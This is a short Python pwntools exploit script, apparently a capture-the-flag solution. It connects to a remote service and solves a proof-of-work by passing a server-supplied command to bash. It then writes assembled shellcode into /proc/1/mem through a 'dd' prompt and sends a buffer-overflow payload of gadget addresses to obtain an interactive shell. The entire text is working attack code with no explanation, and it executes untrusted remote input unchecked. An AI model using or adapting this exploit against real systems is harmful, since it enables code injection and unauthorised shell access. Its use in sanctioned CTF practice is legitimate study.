#!/usr/bin/env python
from pwn import *
from time import sleep
from os import popen

context.arch = 'amd64'
shellcode = asm("""
syscall
ret
""")
escaped = ''.join(f'\\x{b:02x}' for b in shellcode)

host_port = sys.argv[1:]
p = remote(host_port[0], int(host_port[1]))

if host_port[0] != "localhost":
    p.recvuntil(b'You can run the solver with:\n')
    cmd = p.recvline().decode()
    log.info(cmd)
    ans = popen(f"bash -c '{cmd}'").read()
    p.sendlineafter(b'Solution? ', ans.encode())

pause()

p.sendlineafter(b'  > What is your favorite dd line?: ',
                b'if=/proc/self/fd/0 of=/proc/1/mem bs=1 seek='+str(0x6BC71E).encode())
p.sendlineafter(b'Any input to go with it?:',
                shellcode.decode('latin-1').encode())

pause()

p.send(
    b'\0'*0x208 +
    p64(0x00000000004f8dbd) + p64(0x75e1c1) + p64(0x00000000004f8dbd+1) +
    p64(0x4206c0)
)

p.interactive()
